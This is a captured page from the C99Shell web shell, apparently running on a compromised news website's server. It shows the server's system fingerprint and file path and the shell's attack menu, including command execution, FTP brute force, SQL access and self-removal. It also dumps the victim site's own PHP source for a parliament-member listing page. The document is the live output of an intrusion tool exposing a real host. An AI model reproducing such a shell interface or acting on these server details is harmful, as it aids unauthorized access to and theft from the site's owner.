!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/home/mnnews/public_html/skupstina/   drwxr-xr-x
Free 4 GB of 27.03 GB (14.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     poslanici_list.php (24.65 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//Include Common Files @1-5471E0F2
define("RelativePath", ".");
include(
RelativePath . "/Common.php");
include(
RelativePath . "/Template.php");
include(
RelativePath . "/Sorter.php");
include(
RelativePath . "/Navigator.php");
  
//End Include Common Files

//Include Page implementation @58-39DC296A
include_once("./Header.php");
//End Include Page implementation

Class clsRecordposlaniciSearch { //poslaniciSearch Class @2-A771666C

//Variables @2-CB19EB75

    // Public variables
    
var $ComponentName;
    var
$HTMLFormAction;
    var
$PressedButton;
    var
$Errors;
    var
$ErrorBlock;
    var
$FormSubmitted;
    var
$FormEnctype;
    var
$Visible;
    var
$Recordset;

    var
$CCSEvents = "";
    var
$CCSEventResult;

    var
$ds;
    var
$EditMode;
    var
$ValidatingControls;
    var
$Controls;

    
// Class variables
//End Variables

//Class_Initialize Event @2-69DD3FED
    
function clsRecordposlaniciSearch()
    {

        global
$FileName;
        
$this->Visible = true;
        
$this->Errors = new clsErrors();
        
$this->ErrorBlock = "Record poslaniciSearch/Error";
        
$this->ReadAllowed = false;
        
$this->InsertAllowed = false;
        
$this->UpdateAllowed = false;
        
$this->DeleteAllowed = false;
        if(
$this->Visible)
        {
            
$this->ComponentName = "poslaniciSearch";
            
$CCSForm = split(":", CCGetFromGet("ccsForm", ""), 2);
            if(
sizeof($CCSForm) == 1)
                
$CCSForm[1] = "";
            list(
$FormName, $FormMethod) = $CCSForm;
            
$this->EditMode = ($FormMethod == "Edit");
            
$this->FormEnctype = "application/x-www-form-urlencoded";
            
$this->FormSubmitted = ($FormName == $this->ComponentName);
            
$Method = $this->FormSubmitted ? ccsPost : ccsGet;
            
$this->s_keyword = new clsControl(ccsTextBox, "s_keyword", "s_keyword", ccsText, "", CCGetRequestParam("s_keyword", $Method));
            
$this->Button_DoSearch = new clsButton("Button_DoSearch");
        }
    }
//End Class_Initialize Event

//Validate Method @2-F230E30A
    
function Validate()
    {
        
$Validation = true;
        
$Where = "";
        
$Validation = ($this->s_keyword->Validate() && $Validation);
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "OnValidate");
        return ((
$this->Errors->Count() == 0) && $Validation);
    }
//End Validate Method

//CheckErrors Method @2-D6729123
    
function CheckErrors()
    {
        
$errors = false;
        
$errors = ($errors || $this->s_keyword->Errors->Count());
        
$errors = ($errors || $this->Errors->Count());
        return
$errors;
    }
//End CheckErrors Method

//Operation Method @2-47E5CF10
    
function Operation()
    {
        if(!
$this->Visible)
            return;

        global
$Redirect;
        global
$FileName;

        
$this->EditMode = false;
        if(!
$this->FormSubmitted)
            return;

        if(
$this->FormSubmitted) {
            
$this->PressedButton = "Button_DoSearch";
            if(
strlen(CCGetParam("Button_DoSearch", ""))) {
                
$this->PressedButton = "Button_DoSearch";
            }
        }
        
$Redirect = "poslanici_list.php";
        if(
$this->Validate()) {
            if(
$this->PressedButton == "Button_DoSearch") {
                if(!
CCGetEvent($this->Button_DoSearch->CCSEvents, "OnClick")) {
                    
$Redirect = "";
                } else {
                    
$Redirect = "poslanici_list.php" . "?" . CCMergeQueryStrings(CCGetQueryString("Form", Array("Button_DoSearch")));
                }
            }
        } else {
            
$Redirect = "";
        }
    }
//End Operation Method

//Show Method @2-7C48BB57
    
function Show()
    {
        global
$Tpl;
        global
$FileName;
        
$Error = "";

        if(!
$this->Visible)
            return;

        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeSelect");


        
$RecordBlock = "Record " . $this->ComponentName;
        
$ParentPath = $Tpl->block_path;
        
$Tpl->block_path = $ParentPath . "/" . $RecordBlock;
        if(!
$this->FormSubmitted)
        {
        }

        if(
$this->FormSubmitted || $this->CheckErrors()) {
            
$Error .= $this->s_keyword->Errors->ToString();
            
$Error .= $this->Errors->ToString();
            
$Tpl->SetVar("Error", $Error);
            
$Tpl->Parse("Error", false);
        }
        
$CCSForm = $this->EditMode ? $this->ComponentName . ":" . "Edit" : $this->ComponentName;
        
$this->HTMLFormAction = $FileName . "?" . CCAddParam(CCGetQueryString("QueryString", ""), "ccsForm", $CCSForm);
        
$Tpl->SetVar("Action", $this->HTMLFormAction);
        
$Tpl->SetVar("HTMLFormName", $this->ComponentName);
        
$Tpl->SetVar("HTMLFormEnctype", $this->FormEnctype);
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeShow");
        if(!
$this->Visible) {
            
$Tpl->block_path = $ParentPath;
            return;
        }

        
$this->s_keyword->Show();
        
$this->Button_DoSearch->Show();
        
$Tpl->parse();
        
$Tpl->block_path = $ParentPath;
    }
//End Show Method

} //End poslaniciSearch Class @2-FCB6E20C

class clsGridposlanici { //poslanici class @6-B6077315

//Variables @6-76ABAE26

    // Public variables
    
var $ComponentName;
    var
$Visible;
    var
$Errors;
    var
$ErrorBlock;
    var
$ds; var $PageSize;
    var
$SorterName = "";
    var
$SorterDirection = "";
    var
$PageNumber;

    var
$CCSEvents = "";
    var
$CCSEventResult;

    
// Grid Controls
    
var $StaticControls; var $RowControls;
    var
$Sorter_emp_id;
    var
$Sorter_emp_name;
    var
$Sorter_title;
    var
$Sorter_group_id;
    var
$Sorter_department_id;
    var
$Sorter_phone_home;
    var
$Sorter_fax;
    var
$Sorter_email;
    var
$Sorter_city;
    var
$Sorter_zip;
    var
$Sorter_address;
    var
$Sorter_picture;
    var
$Navigator;
//End Variables

//Class_Initialize Event @6-6CF68786
    
function clsGridposlanici()
    {
        global
$FileName;
        
$this->ComponentName = "poslanici";
        
$this->Visible = True;
        
$this->Errors = new clsErrors();
        
$this->ErrorBlock = "Grid poslanici";
        
$this->ds = new clsposlaniciDataSource();
        
$this->PageSize = CCGetParam($this->ComponentName . "PageSize", "");
        if(!
is_numeric($this->PageSize) || !strlen($this->PageSize))
            
$this->PageSize = 20;
        else if (
$this->PageSize > 100)
            
$this->PageSize = 100;
        else
            
$this->PageSize = intval($this->PageSize);
        if(
$this->PageSize == 0)
            
$this->Errors->addError("<p>Form: Grid " . $this->ComponentName . "<br>Error: (CCS06) Invalid page size.</p>");
        
$this->PageNumber = intval(CCGetParam($this->ComponentName . "Page", 1));
        
$this->SorterName = CCGetParam("poslaniciOrder", "");
        
$this->SorterDirection = CCGetParam("poslaniciDir", "");

        
$this->emp_id = new clsControl(ccsLink, "emp_id", "emp_id", ccsInteger, "", CCGetRequestParam("emp_id", ccsGet));
        
$this->emp_name = new clsControl(ccsLabel, "emp_name", "emp_name", ccsText, "", CCGetRequestParam("emp_name", ccsGet));
        
$this->title = new clsControl(ccsLabel, "title", "title", ccsText, "", CCGetRequestParam("title", ccsGet));
        
$this->group_id = new clsControl(ccsLabel, "group_id", "group_id", ccsInteger, "", CCGetRequestParam("group_id", ccsGet));
        
$this->department_id = new clsControl(ccsLabel, "department_id", "department_id", ccsInteger, "", CCGetRequestParam("department_id", ccsGet));
        
$this->phone_home = new clsControl(ccsLabel, "phone_home", "phone_home", ccsText, "", CCGetRequestParam("phone_home", ccsGet));
        
$this->fax = new clsControl(ccsLabel, "fax", "fax", ccsText, "", CCGetRequestParam("fax", ccsGet));
        
$this->email = new clsControl(ccsLabel, "email", "email", ccsText, "", CCGetRequestParam("email", ccsGet));
        
$this->city = new clsControl(ccsLabel, "city", "city", ccsText, "", CCGetRequestParam("city", ccsGet));
        
$this->zip = new clsControl(ccsLabel, "zip", "zip", ccsText, "", CCGetRequestParam("zip", ccsGet));
        
$this->address = new clsControl(ccsLabel, "address", "address", ccsText, "", CCGetRequestParam("address", ccsGet));
        
$this->picture = new clsControl(ccsLabel, "picture", "picture", ccsText, "", CCGetRequestParam("picture", ccsGet));
        
$this->Sorter_emp_id = new clsSorter($this->ComponentName, "Sorter_emp_id", $FileName);
        
$this->Sorter_emp_name = new clsSorter($this->ComponentName, "Sorter_emp_name", $FileName);
        
$this->Sorter_title = new clsSorter($this->ComponentName, "Sorter_title", $FileName);
        
$this->Sorter_group_id = new clsSorter($this->ComponentName, "Sorter_group_id", $FileName);
        
$this->Sorter_department_id = new clsSorter($this->ComponentName, "Sorter_department_id", $FileName);
        
$this->Sorter_phone_home = new clsSorter($this->ComponentName, "Sorter_phone_home", $FileName);
        
$this->Sorter_fax = new clsSorter($this->ComponentName, "Sorter_fax", $FileName);
        
$this->Sorter_email = new clsSorter($this->ComponentName, "Sorter_email", $FileName);
        
$this->Sorter_city = new clsSorter($this->ComponentName, "Sorter_city", $FileName);
        
$this->Sorter_zip = new clsSorter($this->ComponentName, "Sorter_zip", $FileName);
        
$this->Sorter_address = new clsSorter($this->ComponentName, "Sorter_address", $FileName);
        
$this->Sorter_picture = new clsSorter($this->ComponentName, "Sorter_picture", $FileName);
        
$this->poslanici_Insert = new clsControl(ccsLink, "poslanici_Insert", "poslanici_Insert", ccsText, "", CCGetRequestParam("poslanici_Insert", ccsGet));
        
$this->poslanici_Insert->Parameters = CCGetQueryString("QueryString", Array("emp_id", "ccsForm"));
        
$this->poslanici_Insert->Page = "poslanici_maint.php";
        
$this->Navigator = new clsNavigator($this->ComponentName, "Navigator", $FileName, 10, tpSimple);
    }
//End Class_Initialize Event

//Initialize Method @6-03626367
    
function Initialize()
    {
        if(!
$this->Visible) return;

        
$this->ds->PageSize = $this->PageSize;
        
$this->ds->AbsolutePage = $this->PageNumber;
        
$this->ds->SetOrder($this->SorterName, $this->SorterDirection);
    }
//End Initialize Method

//Show Method @6-AC36E4A6
    
function Show()
    {
        global
$Tpl;
        if(!
$this->Visible) return;

        
$ShownRecords = 0;

        
$this->ds->Parameters["urls_keyword"] = CCGetFromGet("s_keyword", "");

        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeSelect");


        
$this->ds->Prepare();
        
$this->ds->Open();

        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeShow");
        if(!
$this->Visible) return;

        
$GridBlock = "Grid " . $this->ComponentName;
        
$ParentPath = $Tpl->block_path;
        
$Tpl->block_path = $ParentPath . "/" . $GridBlock;


        
$is_next_record = $this->ds->next_record();
        if(
$is_next_record && $ShownRecords < $this->PageSize)
        {
            do {
                    
$this->ds->SetValues();
                
$Tpl->block_path = $ParentPath . "/" . $GridBlock . "/Row";
                
$this->emp_id->SetValue($this->ds->emp_id->GetValue());
                
$this->emp_id->Parameters = CCGetQueryString("QueryString", Array("ccsForm"));
                
$this->emp_id->Parameters = CCAddParam($this->emp_id->Parameters, "emp_id", $this->ds->f("emp_id"));
                
$this->emp_id->Page = "poslanici_maint.php";
                
$this->emp_name->SetValue($this->ds->emp_name->GetValue());
                
$this->title->SetValue($this->ds->title->GetValue());
                
$this->group_id->SetValue($this->ds->group_id->GetValue());
                
$this->department_id->SetValue($this->ds->department_id->GetValue());
                
$this->phone_home->SetValue($this->ds->phone_home->GetValue());
                
$this->fax->SetValue($this->ds->fax->GetValue());
                
$this->email->SetValue($this->ds->email->GetValue());
                
$this->city->SetValue($this->ds->city->GetValue());
                
$this->zip->SetValue($this->ds->zip->GetValue());
                
$this->address->SetValue($this->ds->address->GetValue());
                
$this->picture->SetValue($this->ds->picture->GetValue());
                
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeShowRow");
                
$this->emp_id->Show();
                
$this->emp_name->Show();
                
$this->title->Show();
                
$this->group_id->Show();
                
$this->department_id->Show();
                
$this->phone_home->Show();
                
$this->fax->Show();
                
$this->email->Show();
                
$this->city->Show();
                
$this->zip->Show();
                
$this->address->Show();
                
$this->picture->Show();
                
$Tpl->block_path = $ParentPath . "/" . $GridBlock;
                
$Tpl->parse("Row", true);
                
$ShownRecords++;
                
$is_next_record = $this->ds->next_record();
            } while (
$is_next_record && $ShownRecords < $this->PageSize);
        }
        else
// Show NoRecords block if no records are found
        
{
            
$Tpl->parse("NoRecords", false);
        }

        
$errors = $this->GetErrors();
        if(
strlen($errors))
        {
            
$Tpl->replaceblock("", $errors);
            
$Tpl->block_path = $ParentPath;
            return;
        }
        
$this->Navigator->PageNumber = $this->ds->AbsolutePage;
        
$this->Navigator->TotalPages = $this->ds->PageCount();
        
$this->Sorter_emp_id->Show();
        
$this->Sorter_emp_name->Show();
        
$this->Sorter_title->Show();
        
$this->Sorter_group_id->Show();
        
$this->Sorter_department_id->Show();
        
$this->Sorter_phone_home->Show();
        
$this->Sorter_fax->Show();
        
$this->Sorter_email->Show();
        
$this->Sorter_city->Show();
        
$this->Sorter_zip->Show();
        
$this->Sorter_address->Show();
        
$this->Sorter_picture->Show();
        
$this->poslanici_Insert->Show();
        
$this->Navigator->Show();
        
$Tpl->parse();
        
$Tpl->block_path = $ParentPath;
        
$this->ds->close();
    }
//End Show Method

//GetErrors Method @6-015BEDB1
    
function GetErrors()
    {
        
$errors = "";
        
$errors .= $this->emp_id->Errors->ToString();
        
$errors .= $this->emp_name->Errors->ToString();
        
$errors .= $this->title->Errors->ToString();
        
$errors .= $this->group_id->Errors->ToString();
        
$errors .= $this->department_id->Errors->ToString();
        
$errors .= $this->phone_home->Errors->ToString();
        
$errors .= $this->fax->Errors->ToString();
        
$errors .= $this->email->Errors->ToString();
        
$errors .= $this->city->Errors->ToString();
        
$errors .= $this->zip->Errors->ToString();
        
$errors .= $this->address->Errors->ToString();
        
$errors .= $this->picture->Errors->ToString();
        
$errors .= $this->Errors->ToString();
        
$errors .= $this->ds->Errors->ToString();
        return
$errors;
    }
//End GetErrors Method

} //End poslanici Class @6-FCB6E20C

class clsposlaniciDataSource extends clsDBConnection1 {  //poslaniciDataSource Class @6-31BC14E9

//DataSource Variables @6-C20F46E7
    
var $CCSEvents = "";
    var
$CCSEventResult;
    var
$ErrorBlock;

    var
$CountSQL;
    var
$wp;


    
// Datasource fields
    
var $emp_id;
    var
$emp_name;
    var
$title;
    var
$group_id;
    var
$department_id;
    var
$phone_home;
    var
$fax;
    var
$email;
    var
$city;
    var
$zip;
    var
$address;
    var
$picture;
//End DataSource Variables

//Class_Initialize Event @6-48C3AF60
    
function clsposlaniciDataSource()
    {
        
$this->ErrorBlock = "Grid poslanici";
        
$this->Initialize();
        
$this->emp_id = new clsField("emp_id", ccsInteger, "");
        
$this->emp_name = new clsField("emp_name", ccsText, "");
        
$this->title = new clsField("title", ccsText, "");
        
$this->group_id = new clsField("group_id", ccsInteger, "");
        
$this->department_id = new clsField("department_id", ccsInteger, "");
        
$this->phone_home = new clsField("phone_home", ccsText, "");
        
$this->fax = new clsField("fax", ccsText, "");
        
$this->email = new clsField("email", ccsText, "");
        
$this->city = new clsField("city", ccsText, "");
        
$this->zip = new clsField("zip", ccsText, "");
        
$this->address = new clsField("address", ccsText, "");
        
$this->picture = new clsField("picture", ccsText, "");

    }
//End Class_Initialize Event

//SetOrder Method @6-A73A9908
    
function SetOrder($SorterName, $SorterDirection)
    {
        
$this->Order = "";
        
$this->Order = CCGetOrder($this->Order, $SorterName, $SorterDirection,
            array(
"Sorter_emp_id" => array("emp_id", ""),
            
"Sorter_emp_name" => array("emp_name", ""),
            
"Sorter_title" => array("title", ""),
            
"Sorter_group_id" => array("group_id", ""),
            
"Sorter_department_id" => array("department_id", ""),
            
"Sorter_phone_home" => array("phone_home", ""),
            
"Sorter_fax" => array("fax", ""),
            
"Sorter_email" => array("email", ""),
            
"Sorter_city" => array("city", ""),
            
"Sorter_zip" => array("zip", ""),
            
"Sorter_address" => array("address", ""),
            
"Sorter_picture" => array("picture", "")));
    }
//End SetOrder Method

//Prepare Method @6-5E7D08DF
    
function Prepare()
    {
        
$this->wp = new clsSQLParameters($this->ErrorBlock);
        
$this->wp->AddParameter("1", "urls_keyword", ccsText, "", "", $this->Parameters["urls_keyword"], "", false);
        
$this->wp->AddParameter("2", "urls_keyword", ccsText, "", "", $this->Parameters["urls_keyword"], "", false);
        
$this->wp->AddParameter("3", "urls_keyword", ccsText, "", "", $this->Parameters["urls_keyword"], "", false);
        
$this->wp->AddParameter("4", "urls_keyword", ccsMemo, "", "", $this->Parameters["urls_keyword"], "", false);
        
$this->wp->AddParameter("5", "urls_keyword", ccsText, "", "", $this->Parameters["urls_keyword"], "", false);
        
$this->wp->AddParameter("6", "urls_keyword", ccsText, "", "", $this->Parameters["urls_keyword"], "", false);
        
$this->wp->AddParameter("7", "urls_keyword", ccsText, "", "", $this->Parameters["urls_keyword"], "", false);
        
$this->wp->AddParameter("8", "urls_keyword", ccsText, "", "", $this->Parameters["urls_keyword"], "", false);
        
$this->wp->AddParameter("9", "urls_keyword", ccsText, "", "", $this->Parameters["urls_keyword"], "", false);
        
$this->wp->AddParameter("10", "urls_keyword", ccsText, "", "", $this->Parameters["urls_keyword"], "", false);
        
$this->wp->Criterion[1] = $this->wp->Operation(opContains, "emp_name", $this->wp->GetDBValue("1"), $this->ToSQL($this->wp->GetDBValue("1"), ccsText),false);
        
$this->wp->Criterion[2] = $this->wp->Operation(opContains, "title", $this->wp->GetDBValue("2"), $this->ToSQL($this->wp->GetDBValue("2"), ccsText),false);
        
$this->wp->Criterion[3] = $this->wp->Operation(opContains, "phone_home", $this->wp->GetDBValue("3"), $this->ToSQL($this->wp->GetDBValue("3"), ccsText),false);
        
$this->wp->Criterion[4] = $this->wp->Operation(opContains, "phone_work", $this->wp->GetDBValue("4"), $this->ToSQL($this->wp->GetDBValue("4"), ccsMemo),false);
        
$this->wp->Criterion[5] = $this->wp->Operation(opContains, "fax", $this->wp->GetDBValue("5"), $this->ToSQL($this->wp->GetDBValue("5"), ccsText),false);
        
$this->wp->Criterion[6] = $this->wp->Operation(opContains, "email", $this->wp->GetDBValue("6"), $this->ToSQL($this->wp->GetDBValue("6"), ccsText),false);
        
$this->wp->Criterion[7] = $this->wp->Operation(opContains, "city", $this->wp->GetDBValue("7"), $this->ToSQL($this->wp->GetDBValue("7"), ccsText),false);
        
$this->wp->Criterion[8] = $this->wp->Operation(opContains, "zip", $this->wp->GetDBValue("8"), $this->ToSQL($this->wp->GetDBValue("8"), ccsText),false);
        
$this->wp->Criterion[9] = $this->wp->Operation(opContains, "address", $this->wp->GetDBValue("9"), $this->ToSQL($this->wp->GetDBValue("9"), ccsText),false);
        
$this->wp->Criterion[10] = $this->wp->Operation(opContains, "picture", $this->wp->GetDBValue("10"), $this->ToSQL($this->wp->GetDBValue("10"), ccsText),false);
        
$this->Where = $this->wp->opOR(false, $this->wp->opOR(false, $this->wp->opOR(false, $this->wp->opOR(false, $this->wp->opOR(false, $this->wp->opOR(false, $this->wp->opOR(false, $this->wp->opOR(false, $this->wp->opOR(false, $this->wp->Criterion[1], $this->wp->Criterion[2]), $this->wp->Criterion[3]), $this->wp->Criterion[4]), $this->wp->Criterion[5]), $this->wp->Criterion[6]), $this->wp->Criterion[7]), $this->wp->Criterion[8]), $this->wp->Criterion[9]), $this->wp->Criterion[10]);
    }
//End Prepare Method

//Open Method @6-F0E771D8
    
function Open()
    {
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeBuildSelect");
        
$this->CountSQL = "SELECT COUNT(*)  " .
        
"FROM poslanici";
        
$this->SQL = "SELECT emp_id, emp_name, title, group_id, department_id, phone_home, fax, email, city, zip, address, picture  " .
        
"FROM poslanici";
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeExecuteSelect");
        
$this->RecordsCount = CCGetDBValue(CCBuildSQL($this->CountSQL, $this->Where, ""), $this);
        
$this->query(CCBuildSQL($this->SQL, $this->Where, $this->Order));
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterExecuteSelect");
        
$this->MoveToPage($this->AbsolutePage);
    }
//End Open Method

//SetValues Method @6-7E190C36
    
function SetValues()
    {
        
$this->emp_id->SetDBValue(trim($this->f("emp_id")));
        
$this->emp_name->SetDBValue($this->f("emp_name"));
        
$this->title->SetDBValue($this->f("title"));
        
$this->group_id->SetDBValue(trim($this->f("group_id")));
        
$this->department_id->SetDBValue(trim($this->f("department_id")));
        
$this->phone_home->SetDBValue($this->f("phone_home"));
        
$this->fax->SetDBValue($this->f("fax"));
        
$this->email->SetDBValue($this->f("email"));
        
$this->city->SetDBValue($this->f("city"));
        
$this->zip->SetDBValue($this->f("zip"));
        
$this->address->SetDBValue($this->f("address"));
        
$this->picture->SetDBValue($this->f("picture"));
    }
//End SetValues Method

} //End poslaniciDataSource Class @6-FCB6E20C

//Include Page implementation @59-5CD56755
include_once("./Footer.php");
//End Include Page implementation

//Initialize Page @1-2999DE37
// Variables
$FileName = "";
$Redirect = "";
$Tpl = "";
$TemplateFileName = "";
$BlockToParse = "";
$ComponentName = "";

// Events;
$CCSEvents = "";
$CCSEventResult = "";

$FileName = "poslanici_list.php";
$Redirect = "";
$TemplateFileName = "poslanici_list.html";
$BlockToParse = "main";
$PathToRoot = "./";
//End Initialize Page

//Authenticate User @1-DC94A87D
CCSecurityRedirect("1", "");
//End Authenticate User

//Initialize Objects @1-6EEF9770
$DBConnection1 = new clsDBConnection1();

// Controls
$Header = new clsHeader();
$Header->BindEvents();
$Header->TemplatePath = "./";
$Header->Initialize();
$poslaniciSearch = new clsRecordposlaniciSearch();
$poslanici = new clsGridposlanici();
$Footer = new clsFooter();
$Footer->BindEvents();
$Footer->TemplatePath = "./";
$Footer->Initialize();
$poslanici->Initialize();

$CCSEventResult = CCGetEvent($CCSEvents, "AfterInitialize");
//End Initialize Objects

//Initialize HTML Template @1-A0111C9D
$CCSEventResult = CCGetEvent($CCSEvents, "OnInitializeView");
$Tpl = new clsTemplate();
$Tpl->LoadTemplate(TemplatePath . $TemplateFileName, "main");
$CCSEventResult = CCGetEvent($CCSEvents, "BeforeShow");
//End Initialize HTML Template

//Execute Components @1-8FE16498
$Header->Operations();
$poslaniciSearch->Operation();
$Footer->Operations();
//End Execute Components

//Go to destination page @1-6F9FD7CC
if($Redirect)
{
    
$CCSEventResult = CCGetEvent($CCSEvents, "BeforeUnload");
    
$DBConnection1->close();
    
header("Location: " . $Redirect);
    exit;
}
//End Go to destination page

//Show Page @1-07117737
$Header->Show("Header");
$poslaniciSearch->Show();
$poslanici->Show();
$Footer->Show("Footer");
$Tpl->PParse("main", false);
//End Show Page

//Unload Page @1-A4D34ABE
$CCSEventResult = CCGetEvent($CCSEvents, "BeforeUnload");
$DBConnection1->close();
unset(
$Tpl);
//End Unload Page


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0061 ]--